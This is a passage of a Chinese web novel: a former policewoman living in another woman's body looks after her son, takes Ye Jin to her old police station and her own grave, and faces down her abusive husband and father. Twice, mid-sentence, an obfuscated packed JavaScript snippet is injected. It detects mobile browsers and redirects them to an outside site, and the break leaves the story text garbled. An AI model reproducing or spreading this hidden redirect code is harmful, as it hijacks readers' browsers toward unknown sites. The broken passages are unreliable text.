“都是锅,都能下面。”她头也不回地向邱迩解释。 邱迩瞧着“程松悦”熟练地烧水烫锅,又去冰箱里拿不知道什么时候放进去的鸡蛋和调料,感觉与“程松悦”的这趟逃家之旅渐渐有了真实感。他再次许愿希望“程松悦”的脑子最好一直坏下去。 “新锅洗净以后要煮开水烫一烫再用,现在只有一个锅能用,所以鸡蛋面我们走懒人路线,”李闻雯一边做一边教,她将第二遍煮沸的水倒进洗净的盆里候着——烧水壶尚未买回来——锅底擦干净,然后重新放到炉灶上,“啪嗒”开火,并倒油进去,“两个鸡蛋,先煎一煎,单面撒盐就行,鸡蛋两面焦黄以后,直接倒开水进来,然后鸡粉、白胡椒粉各撒一些进去,一点紫菜,一点干虾仁儿,几根青菜……过会儿面条熟了就能吃了。” “你以前只给我蒸过鸡蛋羹,很久以前,”邱迩仔细想了想,“可能我都还没上小学。” “以前也不会做,是最近新学的。毕竟我们搬出来以后,就没有保姆阿姨给我们做饭了。你正在长身体,我也不好顿顿给你吃外卖。” 邱迩闻言一愣,迅速转移视线,不愿回应“程松悦”坦荡又友好的眼神。这么快就摈弃讨厌她的立场有点没出息,他是这么认为的,于是低头盯着手机屏幕里早就翘辫子的游戏人物迈着不太坚决的脚步离开厨房门口。 9. 分局门口溜达溜达应该不犯法 1. 许炼不厌其烦地每隔约半分钟敲一次门,如此七分钟后,“咔哒”一声轻响,门开了。 许炼瞧着面前跟叶赫长着同一张脸的叶进,深思恍惚了一瞬,又立刻归位。他抬脚轻踢了踢午休时间请小助理帮忙采购的东西,淡然陈述:“我之前说不告诉别人,以防别人上门打扰你,但没承诺我自己不来。” 叶进冷着脸与之对峙十秒,微微侧身把路让开。 公寓里收拾得不脏也不乱,所有东西都在叶赫规定的固定位置上放着,仿佛叶赫仍在,啤酒罐比较多,但也都整整齐齐地收在垃圾袋里。 许炼把大衣脱了随手扔到沙发上,人往地毯上一坐,解开自己带来的袋子,先取出公司附近星级酒店的餐盒,又一罐罐拿出啤酒,仰头道:“上回跟你喝酒还是在你刚读研时,我生磨着你哥把你叫出学校的,因为你的那个获奖设计立意太牛了。上一任研发总师是比赛评委之一,他说如果能把你请来,公司可以领先同行三年。” 叶进在许炼对面坐下,他将啤酒罐握在手里,并未急着打开,问许炼,“不用上班了?” 许炼嘴角轻轻一挑,说“废什么话”,就着他的手替他扯开拉环,又给自己扯开,“砰”地跟他一碰,说:“不要停,一口气喝完。” 600ML的酒一口气喝完并不太容易,但两人确实几乎同时都一口气喝完了,然后又不约而同各打开一罐新的轻轻一碰。 许炼第二罐喝到三分之一就皱眉停下了,叶进便也停下,两人对视一眼,又各自移开目光。 “我们聊聊叶赫吧,我也需要找人聊聊他,不然我也要憋出问题了。” “……不聊他,你要是喝不下了就叫个代驾回去。” “又是你哥的朋友,又是你多年的同事,在你面前一点面子都没有?” “……” 叶进低着头慢慢喝酒,不再吱声。 “你应该也有这种情况吧,就是精神稍微一松懈,就仿佛能听到他说话的声音,问要不要打球、去不去吃火锅、甚至几句带着笑意的脏话。哦,他跟你可能不说脏话。” 叶进眼睫低垂,长指紧握着啤酒罐。 “我听说你刚从爷爷奶奶那里回来时,跟他打过好几回架,嘿,我都不用问,一定是你赢他,他那人下不去手。”许炼说话的声音又轻又慢,“我跟他打过一回,是我酒后犯浑,具体原因就不说了。” “他当时没反应过来,挨了两下,但他很快就把我按倒了。我以为他肯定得还击,结果没有,他只是非常生气地按着我,跟我僵持着,说不道歉就别想起来。那之后我戒酒很长时间,因为实在太丢人了。”许炼微侧着头,食指指腹压着渐渐潮湿的眼角。 叶进眼尾红了,因为一直保持着垂头的姿势,眼泪“啪嗒”落在了鼻梁上。 许炼说得没错,叶赫下不去手,从小如此。 他刚被接来时,在新家待不住,闹得特别凶要回去,父母逐渐变得不耐烦,逐渐惯于呵斥一顿后将他扔下让他自己冷静。只有叶赫始终不离不弃。他的确跟叶赫打过好几回架,因为叶赫看他看得太紧,他总是不能如愿半夜“回家”。 “叶赫大一暑假回家,得知你从家里搬出去了,在你房间的椅子里垂着头坐了一个下午。可能是因为一直记挂着在街上遇见你的事儿,我昨晚梦到叶赫了,他还是在你房间的椅子里垂着头红着眼眶坐着,说你让他很伤心。叶进,你别让他伤心,行吗?” 2. 在搬进鹿鸣公寓一周后的一个深夜,李闻雯与叶进在电梯里狭路相逢。 李闻雯先开始以为叶进是尾随自己而来的,之后立刻便知自己猜错,因为叶进只低头盯着自己手里拎着的几罐啤酒,并未留心别处,而且还在她前面按亮了七楼的按键。 李闻雯扯起卫衣的兜帽遮住脑袋,小心翼翼地从他后面伸出一根手指,按亮了八楼按键。 电梯质量极好,运行没有声音,也几乎没有什么失重感,李闻雯头皮发麻,心脏怦怦怦怦直往嗓子眼儿蹦跶。 “叮——”电梯到达七楼,李闻雯微微侧着身子假装在回谁的消息,脑袋几乎折到胸口。 所幸叶进径直走出去,并未回头。 电梯门缓缓合上,李闻雯扯掉兜帽,寒冬腊月的,惊出一身热意。 …… “滴滴”两声,门锁解开,李闻雯按动门把手之前侧耳听了听,屋里没有任何异常动静。 李闻雯推门进去,当先便望向侧角的小书房。邱迩正安安静静地在小书房里做数学试卷,数学课本、习题集、草稿本略有些凌乱地摊在四周,如她出门前看到的一样,倒是顺手给他洗的一筐草莓只剩下寥寥数颗。 ——屋主改造过房子,侧角的小书房之前是个小音乐室,是用隔音玻璃围挡起来的,里面的一切一清二楚。 李闻雯出门前邱迩刚开始做卷子,一个小时过去了,那张卷子写得满满当当,只余最后一道大题空着。她不由有些遗憾,不能像当年赵大良质问她似地质问邱迩一句“你刚刚真的在写作业?” “写完这张卷子出来休息一下歇歇眼睛。” 李闻雯把带回来的烧烤放到客厅餐桌上,去厨房把已经静置了二十四小时的冰箱通上电并填满,又去浴室将洗好的衣服晾到露台滑架上,转完一圈回来,见邱迩仍未下笔,不由出声给他解围,“数学卷子的最后一道大题我就从来没费心思做过,因为我知道那并不是老师出来考我的……” 但邱迩并不需要她解围,他需要把那道题做出来。 李闻雯收拾着客厅里的零碎又等了五分钟,然后推开玻璃门进去。 “十几分钟做不出来的题就是要放弃,考试时也要这样。”她这样以过来人的姿态指点着,将试卷从邱迩胳膊底下抽出来蛮有信心地去看题面。 毕竟只是道小学六年级的题,她想。 约五分钟后,她平静地把试卷对折再对折叠好。 “做不出来的题就是要放弃,不然烤肉就凉了。” 邱迩仰头与“程松悦”对视,片刻,藏起嘴角隐约的笑意别扭地把头转开。他没有特别聪明,总是做不出卷子的最后一道题,因此成了邱怀鸣嘴里“扶不起的阿斗”。他不想被瞧不起,因此总是跟自己较劲。但“程松悦”突然用如此举重若轻的语气说“不然烤肉就凉了”,仿佛最后一道大题并没有比烤肉重要很多。 3. 邱迩百般不情愿地去参加学校组织的为期五天的冬令营了。 李闻雯特意起了个大早拎着行李箱把邱迩送到学校,又微笑目送大巴车驶离,两手背在身后乘着晨曦溜溜达达地往回走。 ——鹿鸣公寓距离邱迩的学校只有大约六百米的距离,中间没有公交车站,只有个共享单车点,但这点距离腿长些的解个车再锁个车的时间也就走到了。 李闻雯在没有多少温度的晨光里回到鹿鸣公寓,磨磨蹭蹭湿两遍干两遍拖了四遍地板,之后长叹数声,步履沉重地锁上家门出来,推开楼梯间重重的防火门,一步一步来到七楼。 西城分局的一位副局有句口头禅,叫“计划赶不上变化”,因此他总是不厌其烦地在行动前制定大多派不上用场的Plan C, Plan D, Plan E,屡屡遭不知天高地厚的小年轻们诟病。李闻雯就曾经是其中之一。 人生无常,世事难料,李闻雯现在踏踏实实体会到什么叫“计划赶不上变化”了。 她原本计划最起码苟六个月再向遭瘟的邱怀鸣提出离婚,结果不到两个月就不得不彻底与之决裂了。而她原本计划要在用更久的时间验证过自己确实是“常住人口”以后才会在必要时松口向人吐露自己是谁,但仍然是不到两个月就不得不了——李闻雯怎么都没想到她领着邱迩转了三个小区瞧了八个租房,最后居然选中了叶进楼上的这个。 令人遗憾的是,李闻雯甚至没有Plan B,只能硬着头皮走哪儿算哪儿。 李闻雯不得不来这一趟,因为当前邱迩与她同住,她不能让邱迩跟着她陷入危险;也因为事故方家里已经折进去一个高材生了,不能再折进去另一个——人们对学霸一向是有滤镜的。 李闻雯思绪纷乱,面上却不动声色,她抬手按响了门铃,然后微微埋着头静静等着,约三分钟后,“咔哒”一声轻响,门被从里面打开。 李闻雯缓缓抬头,顺着鸦黑长裤和同色卫衣,再往上便是一双没有情绪的黑眸。不过没有情绪只是门打开的刹那,转瞬瞳孔便压紧了。李闻雯不动神色地后撤半步,感觉自己的心脏也仿佛同时被压紧了,就要跳动不起来了。 “我有跟车祸有关的事情要跟你说,但你得跟我去个地方,你愿意吗?”李闻雯清楚自己如果不开门见山,就极有可能见血,她微微探着脑袋,表情殷切。 “就在这里说。” 叶进直视着她,声音冷得几乎结霜。 “得去个别的地方,因为有东西要给你看,”李闻雯没有回避叶进的目光,态度非常诚恳,“你相信我,孩子就在楼上住着,我绝对不敢骗你。” 叶进一语不发,神色越发冷淡。 李闻雯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094384|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋微垂做出非常柔顺的姿态,“可以开你的车。” 李闻雯自己在家琢磨了一夜,叶进是不可能轻易答应跟她出门的,唯一能打动他的也许就是“可以开你的车”,因为这给他留出了极大的作案空间。当然,这种釜底抽薪式的做法仅限前一线警务工作者使用。 李闻雯没有导航西城分局,而是导航了分局路对面的一家川菜馆,因此直到抵达,叶进才知道真实的目的地——西城分局。 “我不是要报警,要报警没必要舍近求远,对不对?”李闻雯伸手抓住叶进的手腕制止他重启车子离开,又慌乱地松开,几乎要坐姿向他鞠躬了,“我是要向你介绍我工作过的地方,我大学毕业后直到今年春天,一直在这里工作。” 叶进把她没头没脑的这番话在心里过了一遍,黑眸倏地淬出寒光。程松悦车祸之前的生活经历可以说已经全部暴露在网上了,她几乎是大学毕业以后就被邱怀鸣养在家里了,现在跑这里是在说什么癔症话。 李闻雯不用回头也知道叶进的面色如何,因为假如身份对调,自己都很难保证不给自己一个响亮的大耳刮子。说的人和听的人都需要极强的心理素质,因为真的……简直无稽之谈。 “我入职的当月,跟同事去堵个嫌疑人,嫌疑人瞧着丧眉搭眼儿的,我就放松了警惕,结果给他戴铐时耳朵差点被他给咬下来,后来打狂犬疫苗和狂犬病免疫球蛋白花掉我半个月的工资,不过幸好局里给报销了。” “我入职的第二年,刑侦、网安、禁毒和经侦有过一次联合行动,多警种配合下最终成功捣毁一个藏匿在烂尾楼群里的赌博窝点,抓获涉赌涉毒人员四十一人。其中有一个是我抓的。他毒驾冲卡,我开枪打中了他的轮胎。我们平常训练都是用25米以内的固定靶和慢速移动人形靶,所以我也没想到我能打中那么小的高速运动的轮胎。那是我在工作中开出的第一枪,迄今为止也就只开过那一枪。” “门口左侧第四棵树有个很深的刮痕,是我开警车蹭的,大概就是去年的这个时候。当时嫌疑人突然在后排激烈反抗,用戴着手铐的双臂绞住了我的脖子,向戎戈,就是跟我一起出外勤的同事,在车内狭小的空间一拳把他打出了脑震荡。” …… 叶进听不下去解开安全带下车了。李闻雯跟着下来追在他身后。她语调平缓又喋喋不休地向他陈述着,眼尾不知何时透出了红,但那红痕极浅,尚未被人察觉就消失不见了。 叶进提膝向着分局大门走去,他打算把这个疯子交给警察,然后独自开车回家。是的,他甚至不打算载她回去了,因为感觉愤怒,居然被她三两句话骗到这里。 李闻雯不知他的打算,亦步亦趋跟着,突然出言提醒:“别踩那两块地砖,昨夜下过雨,底下可能有积水。” 叶进受够了她的神神叨叨,置若未闻,一脚踩上去……积水漫至鞋底与鞋面的接缝线上。 两块地砖目测与旁边的地砖严丝合缝,但踩上去居然真的松动了。 李闻雯还以为是自己提醒晚了,神色讪讪地解释:“总说要拌点水泥码结实了,但到现在也没码。” 叶进低着头一下一下踩着那两块地砖,瞧着底下的积水一小股一小股地冒出来,片刻,他回头望向李闻雯,目光锋利,又沉甸甸。 李闻雯直起肩膀,收起眼角的诚恳笑意,在刺骨寒风中,沉默与之对视。 一辆旧款大众SUV从街道另一头驶来,一脚刹车停在两人面前。 李闻雯的前领导从副驾驶位下车,跟车里司机交代了一句“你让三儿和付崇峥那组审”,然后甩上车门绕过车尾走来。 “上次在病房门口就碰到了你,是不是有什么事情?我给你安排个人,你进去说说?” 前领导几乎过目不忘,车开过来一照面就认出了曾经出现在向戎戈病房门口的李闻雯。 “我不记得见过你,我……是家就住在这附近。” 李闻雯这样说着,有些紧张地轻扯了扯叶进的胳膊示意他往回走。 前领导两手缓缓抱于胸前,镇定地瞧着她过马路,突然出其不意扬声道:“什么时候搬过来的?你不是叫‘程松悦’,住在东城区?” 前领导在医院时就察觉出了李闻雯的不对劲,当天就调取监控去查了——向戎戈刚刚出事,他必须得万分谨慎。当然,最后查出来的结果是这位“程松悦”与向戎戈的案子没半点关系,她似乎真的只是路过。 李闻雯不敢回头迎视前领导明察秋毫的眼镜,硬着头皮呛声:“……分局门口溜达溜达应该不犯法。” 10. 我叫李闻雯 1. 因为不方便回家去找证据——毕竟“程松悦”与李闻雯并没有很熟,不能随意进出李家,李闻雯绞尽脑汁又领着叶进去了自己的墓地。 李闻雯去世后被葬在麒麟陵园,墓地是她去世前的两个月自己买的——为免父母触景伤情,不过她那时已经不便出行了,所以跑腿的是安姚。 “安姚肯定自己贴钱了,这个位置不应该这么便宜,”李闻雯站在自己墓碑前念念有词,她回头瞧着叶进,说,“我叫李闻雯,就长照片上这个样儿,两个月前因病去世的。” 李闻雯的遗照是自己选的,用的是她尚未患病时的照片。照片里,李闻雯留着长度将将超过下巴的黑发,脸窄且小,眼睛大而圆,是与程松悦截然不同的非常典型的软柿子小白花的长相。当然,此人本性与小白花实在没什么关系,借用安姚的一句话,“李闻雯的存在就是为了扳正人们以貌取人的毛病”,后来那些被李闻雯压在墙上戴铐的嫌疑人也都隔空一致附议。 叶进瞧着李闻雯的遗照,神情并无松动,仍坚冷如冰。 李闻雯蹲下来在墓碑边缘摸索着,继续道:“你要是忌讳,就往后站站,我需要移开墓碑,瞧瞧墓洞里面有能证明的东西没有。” 麒麟陵园的墓穴结构是很有意思的,墓碑一尺见方,与地面成三十度夹角,底下做有防水封层,封层可打开,墓洞内部空间较大,约莫是老式脸盆的面积大小,五十公分深,直上直下,除了安放骨灰,还能再放些别的不值钱的鸡零狗碎的。 叶进没有应声,也没有往后站,只冷冷瞧着。 李闻雯之前是警察,本就没有什么忌讳,一番摸索后很快就移开约一尺见方的墓碑揭开封层,露出底下做了硬化处理的墓洞。 李闻雯膝盖着地面色平静地把手伸进去。 “果然把这个给我放进来了,我爸当时说它有浩然正气,可镇邪驱祟,能护着我路上不被欺负,”李闻雯转头向叶进展示托在自己掌心的物件,那赫然是一枚金色的徽章,她解释道,“就是之前我开的那枪获得的,埋这里两个月不见光,都没有光泽了。” “我的出行三件套,颈枕、耳塞、眼罩。颈枕是我爸给缝的,说比外面买的依托感要好,我反正是从来感觉不出来。”李闻雯顿了顿,“我最后那几天跟他们说,就当我是去通讯不便的偏远国家出长差了,将要一去很多年,他们这是听进去了。” “全家福相册,我爸年轻的时候喜欢摄影,所以我每年都能有一张年度照片收进去,”李闻雯一边说一边往后翻,“我青春期不大喜欢穿裙子,因为大大咧咧,弯腰、蹲下或落座时经常不注意走光,但十八岁生日时拍的这张照片是穿裙子的,我朋友安姚说她买大了,扔了可惜。”她这样轻声说着,又翻了两页,就到了印有“十八岁生日留念”的这张裙子照。 李闻雯要把相册放回原位时,留意到里面还有两封信,她整个人静止了一瞬,然后伸手把信封拿起来边边角角都轻轻捏过一遍,又不舍地把它们放回原位。 “信封口了,不能动。”她说。 李闻雯的目光终于落在自己的骨灰盒上,她伸出手指想触碰一下,但半途手突然神经质地抖了两下,果断作罢。 …… 李闻雯勾回被风扑到眼前的碎发,高高抬起脑袋由下而上望着叶进,轻声道:“她消失了,会不会回来我也不知道。” 天很干燥,风很大,有太阳,但仿若没有。叶进瞧着这个又撅着屁股把墓碑挪回去的女人,终于眼皮微垂一步步向着来时的路走去。 李闻雯把封层重新合好,墓碑也移回原位,然后回身沉沉往台阶上一坐,两条胳膊压在膝盖上,良久不响不动。 “叮——”一条微信语音跳进来。 “不是要离婚?你在哪儿?!” “……在墓地晒太阳呢。” 李闻雯两手插兜儿拾级而下,瞧见距离她的穴位两排之隔,一个女生正捏着三根点燃的线香抱膝蹲着。女生二十左右的模样,很明显是个拙于言辞的人,半天也不跟底下的人说一句话。李闻雯转头望向墓碑,发现那里头葬着的也是个年轻人,12月20日生日,就是今天,而且恰巧名字里也有个雯,姓陈,最后那个字被女生的背包挡着看不到,比她还小几岁,不知道因何故去世。 这个世界上似乎没有活得轻松的人呐。 2. 因为邱怀鸣微信里那句“不是要离婚”有浓稠的嘲讽味道,所以李闻雯并没有抱太大希望,果然回去一进门就是一番连珠炮似的责难——邱怀鸣把程祥给叫来了。 “去德国留学是多少人求都求不到的,委屈邱迩了?他不懂事你也不懂事?!现在的社会竞争多残酷,说弱肉强食一点不为过,你是打算让他跟你一样后半辈子当个被人养着的一事无成的蠢货?!” “怀鸣跟你动过几回手确实是他的不对,但你那些事儿我也不是不知道!我给你留着面子点过你多少次了!怀鸣在外面辛苦工作,给你提供优渥的生活,让你不必对谁点头哈腰领工资过日子,你就一点都不承情,就只盯着他做得不对的那处!” “你要离婚,那我问问你,离婚以后你打算以什么为生?你毕业以后只做过一份工作,实习期没过就离职结婚去了,什么单位会要你这样的?你就连现如今租房子的钱都是用的怀鸣的,你是怎么鼓起勇气大言不惭说离婚的?!” …… 邱怀鸣在旁边的单人沙发里皱眉坐着,他这回倒是没有装出夫妻情深的样子,仿佛也被“程松悦”的“胡搅蛮缠”困扰得不轻。 李闻雯两手插兜儿面色平静地瞧着这对翁婿。 程祥站在人生和道德的高度杜鹃啼血句句锥心,把他自己都给感染得面红眼赤。邱怀鸣适时给程祥倒了一杯水,又万分无奈地望向他“天真幼稚”的老婆,接棒鞭辟入里生动形象地向她解释,“即便你能找到工作,你这样的,入职头两年再起早贪黑月薪也最多五千。你买回来没戴几回的那副耳钉也是五千,你曾经随手就送人了……我们俩再怎么样,也是十一年的夫妻了,我见不得你过得不好。” 两人大棒加甜枣配合娴熟,结合邱迩曾经脱口而出的疑问“这回是真的?”显然这并非是第一回吓唬原主程松悦了,且从结果来看,屡有奇效。 “你俩依照以前的习惯PUA我的时候,是不是忘了我已经不记得你们这件事了?”李闻雯慢吞吞说,“我不记得你们了,所以听你们这样情绪饱满地说教,不但没法认同还觉得可笑……不好意思啊,我就直说了。” “程老先生,你又嫌弃我是个被人养着的一事无成的蠢货,又在试图说服我继续被人养着,你似乎有点人格分裂啊?我那点事儿你知道又能怎么样呢?你不应该羞愧吗?我那不是遗传你的吗?” “邱怀鸣,你对我动手的时候,以及你怂恿那几位情丨人给我发床照当个侮辱我的情丨趣的时候,也是十一年夫妻见不得我过得不好?你那些精彩的床照我邮箱的私密空间里可还都留着呢,并且不介意随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094385|163679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去修个电脑或手机。” 李闻雯毫不客气的一番话,说的程祥和邱怀鸣仿佛被掐住了脖子,齐齐变了脸色。直到此刻,两人才终于意识到“失忆”的后遗症有多凶险——“程松悦”脱离掌控了。 然而邱怀鸣之所以在公司能说的上话,是因为他老丈人在市监局做顾问工作,老丈人的亲哥是市监局的副局长;而程祥之所以日子过的滋润,是因为邱怀鸣借着孝顺之名的一笔笔转账。这个平衡断断不能被打破。 “我跟你妈那些陈芝麻烂谷子的事情轮不到你评论,”早被撸了职称却仍未从高台上下来的前教授面色一阵青一阵白,喘气声都粗了,“我自问待你不薄,出高额择校费给你读一流的中学,又出天价赔偿金补偿被你霸凌的同学,甚至即便当年你推得你阿姨流产我也没跟你计较。但你这些年荒唐事做了一桩又一桩。怀鸣是邱迩的爸爸,你冷静些,也给邱迩留点脸,那好歹是你生的。” 邱怀鸣收起先前的无奈脸,又露苦笑脸,摇头道:“以前我对不住过你,你也对不住过我,我们既往不咎,继续过日子,行吗?至于邱迩去德国的事情,我们再谈谈,你真的不能意气用事。” 李闻雯听得嘴巴微微张开,她现在有几分明白程松悦的困境了。眼前这两个男人的演技实在了得,几乎把他们自己都给说服了——他们未尝觉得自己是在做戏,而且互相之间配合打得太好了,她但凡脑子稍微糊涂一些,或者意志稍微薄弱一些,都得怀疑自己是不是真的在“意气用事”地做又一桩“荒唐事”。 李闻雯举手慢条斯理道:“我纠正两点,第一,我租房子的钱是卖包赚的,而包是我用一顿顿打换来的,所有权归我;第二,一个月五千块钱不少了,借你们吉言。” 程祥和邱怀鸣面面相觑,居然一时拿这个油盐不进的人没有办法。程祥仍记得程松悦以前色厉内荏向邱怀鸣要个包或者表作为补偿然后顺着台阶下来的窝囊样,邱怀鸣也仍记得程松悦以前软在他身下又哭又叫胡言乱语求饶的崩溃样,但那些似乎都跟眼前这个人没有关系了。 李闻雯琢磨着又道:“我听出来了,你俩的意思是,我以前也是个烂人,跟你们半斤八两。我反正也不记得了,你们说什么就是什么吧。但我以后想改邪归正,你们不能拦着不让人往正道儿上走吧。你俩要是没有别的事儿,我就回去了。对了,如果协议离婚谈不成,我就将起诉离婚。我以前似乎也不是纯傻,私密空间里存着不少东西。” …… 虽然一番毫不给脸的无差别攻击是很痛快,但李闻雯从东区别墅群出来在路边等车时,还是没忍住烦躁地爆了一句“什么王八蛋”。以前李闻雯顶着自己的小白花脸爆脏话总是会给人割裂感,此刻用程松悦的脸,倒是相得益彰了。 两分钟后,网约车到了,李闻雯伸手打开车门,突然微闭了闭眼,又是一句脏话。李闻雯租住的地方在靠近西城区的莲湖新区,距离此地九站路,地铁直达,还便宜……她下午是从陵园打车回来的,因此离开时习惯性就又点开了打车软件。 …… 直到瞧见太阳在后视镜里渐渐落下,李闻雯才意识到自己早餐后再没有吃任何东西了。车子此刻已经驶入莲湖新区,距离鹿鸣公寓只剩下三百多米的距离,李闻雯瞧见广场上有卖煎饼果子的,叫停司机下车。她两手拢着外套向着煎饼摊走去,越近越觉得饥肠辘辘,耳边充斥着世间各种各样嘈杂的声音,车声、乐声、人声、风声,生动,丰沛,李闻雯走着走着,烦躁就不见了。 11. 爱心有限,耐心有限,责任心也有限 1. 圣诞节前,叶进在许炼的“剧本”里“回国”了。许炼在父母的配合下,将叶进与叶父叶母一起约出来爬山。许炼与叶进从东侧上去,两家父母从西侧上去,最终汇聚在山顶农庄前。说是“农庄”,临湖而建,蔬菜能卖出牛肉的价格。 叶景明和蒋莳瞧见叶进那张熟悉的脸先是纷纷恍惚,然后便是愤然拂袖,用不满的眼神“质问”许炼的父母,为什么要做这样的安排,多此一举。 相较而言,叶进就体面多了,他只是用幽深的目光瞧了许炼一眼,然后跟许炼的父母打了声招呼,就仿佛没看到那两夫妻似的,径自在湖边长椅上坐下。 “叶赫以前经常陪我钓鱼,”许父拎着渔具过来,分给他一根鱼竿,“我习惯性多背了一根上来,你爸没这个耐心,你来吧。” 叶进起身把鱼线、浮漂、铅坠等装好,又调整了浮漂的高度,然后将鱼钩投掷出去。 许父露出惊讶的目光,“你这套动作很熟练呐,也是钓友?” 叶进重新坐回长椅,“叶赫以前教过。” 许父回头瞧见汪润和许炼已经领着叶家两夫妻走远,缓声劝道:“那两口子人不坏,就是轴,认定的事情极难转过弯。你让让他们,行不行?” 叶进没有吱声,只垂目静静望着日光下碧绿的湖水,片刻,闭上眼睛倒向椅背,用棒球帽遮住了脸。 许父言尽于此不再多劝,收回目光专心钓鱼。许炼攒这个局在期望一个大团圆的结局,但许父非常清楚,叶景明和蒋莳固执,不可能原谅,叶进犟,也不可能原谅,因此出门前许父的期望就很朴素——难得的一个好晴天,爬爬山钓钓鱼,不管是谁,能心情开阔一天也是好的。 …… 2. 李闻雯前一天又去探望赵大良和李辉了——她现在搬到靠近西城区的莲湖新区,去探望他们方便极了——本来打算晚饭后就回,结果要告辞时安姚去了,于是坐回去继续聊,聊赵大良小院里腊梅的惨淡长势、聊安姚独立品牌女装的惨淡销量,聊“程松悦”找不到工作的惨淡现状——聊到激越处不由用指关节咚咚敲着桌子表达愤慨。最后是赶在地铁停运之前回来的。由于前一天睡得太晚,邱迩班主任的这通电话她是趴在床上接通的。 “……跟几个同学起了点冲突,推搡了几下,领队老师很快就制止了。现在就是不肯往上走了,谁说都不行。要不然你跟他说几句话劝劝?” “好的,给老师添麻烦了。” 最近几年圣诞节的风越吹越大,校领导查了日历干脆把往年四天的冬令营搞成了五天,四天例行游学增长见识再加一天爬山强身健体,倒要看看圣诞节这天爬完山谁还能爬得起来满大街去“Merry Christmas"。 邱迩就在最后这天与同学爆发冲突,直接往半山腰石阶上一坐死活不往上走了。班主任瞪着这个比自己高大半头的鼓着脸生气的小孩又好气又好笑。 李闻雯翻身坐起来,平心静气地等着,约一分钟后,听到电话那端传来邱迩不情不愿的“喂”。 李闻雯没问为什么起冲突,只不慌不忙问:“你电话手表戴着没?有电没有?多少?” 邱迩被问得有点懵,他顿了顿,硬声道:“戴着,有电,65%。” 李闻雯踩着拖鞋去翻衣柜,说:“行,那你不愿意跟他们上去,就在原地等等我吧,我过去陪你把剩下的路走完。你把电话还给老师……注意礼貌。” ——她刚刚听到了,老师叫他听电话,叫了三声他才应声儿。 李闻雯跟班主任打听清楚邱迩当前的具体位置,便说让他们留下邱迩不用管,她现在立刻开车过去。班主任不太放心,说“毕竟还是个小学生”。李闻雯快速扒拉着一头乱发,说“没事儿,一米七二的个头,不开口没人知道他是小学生,途中我会跟他保持联系”。 班主任问同事借了个移动电源留给邱迩,交代他不要乱走,就在这里等他妈妈,之后见到妈妈也要打个电话告知她。她说完向前追了几步,又返回来,有些迟疑地问:“邱迩,你妈似乎是跟以前有点不一样……” “她脑子撞坏了。”邱迩简明扼要解释。 3. 虽然彼此不能谅解,但仍能在一张桌上吃饭,因为毕竟这是三餐一宿的生活,而非画面一切半生过去的电视剧。叶父叶母要了一挑肥美的桂花鱼和一道菊花拆鱼羹,叶进没看菜单直接报了一道泰式酸汤肥牛,许家三口也各点了一两道菜,然后便各自聊开了。 许炼很快就发现自己把事情想得过于简单了。叶进与父母的关系非仇视,而是漠然无视。他们不打量对方,不在意对方的态度,不关心对方的话题。许炼敢打赌,任何一个人此时站在他们桌前,都会以为叶景明和蒋莳与叶进只是饭桌上刚刚认识的关系。 许父那头与叶景明说了几句校庆相关的事情,又转头与叶进聊天,“我听许炼说你现在是停职的状态,要不然过了年就回去上班吧,忙起来好,忙起来日子就过得快了。” “是辞职,不回去了。”叶进纠正。 许炼赶紧制止这个话题,“爸,辞职和停职是个敏感话题,你不要给我帮倒忙,”他在叶进肩膀上轻拍了拍,第一百零一次强调,“停职,给你停两年的,你随时可以回来。” “两年后我也不回去。”叶进没什么胃口,他低眉垂目,几乎是数着米粒吃饭。 许炼瞧了他半晌,忍不住笑了,“那就三年,你有天赋,我们有耐心。” 在他们对话的同时,叶景明与蒋莳在轻声讨论鱼羹的咸淡和下雨天似乎有些漏水的车库,不留意,也不参与他们的话题。 …… “……两周前拿到了STF大学的聘用书,手续办理起来挺快的,约莫年底就能走,”蒋莳与叶景明聊完车库,又与汪润聊天,“就不在国内过春节了,不然太难受了。” 汪润倒是能理解他们避开在国内过年的心情,“以后要见你一面应该是不容易了。” “你们可以来美国或者去瑞士,我妈在瑞士跟我妹妹一家住着,距离你家那别墅不远。” 汪润“嗯嗯”漫应着,起身给自己添了一勺鱼羹,又想起件事儿,问:“那家里的房子准备怎么处理?” 蒋莳平淡道:“留着吧,愿意住就住,不愿意住就空着。” 许炼直到听到房子这里才终于领悟到这对夫妻竟然是要移民的意思,他怔怔瞧着自己的鼻尖,脖子发硬,两眼发直,他唇缝间不小心溢出一个很轻的“C”音,又立刻吞了回去,但那句脏话仍然从额角的青筋里跳出来了。 许炼真心实意想替叶进唾一句“谁稀罕”。这对夫妻但凡对叶进多上点心,他们就会知道他们眼前这个不受待见的小儿子手握三十四项发明专利,早已实现财务自由。 叶进拎起嘴角笑了笑,蒋莳没有说“谁”愿意住就住,他也就不好贸然建议他们最好还是把那房子卖掉折成美金留着给他们养老,因为多年前他离开的时候就已经把自己的指纹从房子的门锁系统里抹掉了。 许炼低眉一口口喝着鱼羹, 4. “……你之前不想参加冬令营,就是因为今天那几个跟你推搡的男生吧……你这是什么表情,我没套你话,你多聪明能让我得手?对不对?不过话说回来,你这个个头,也难怪他们要好几个互相鼓励才敢跟你动手……你笑什么?我说对了?” 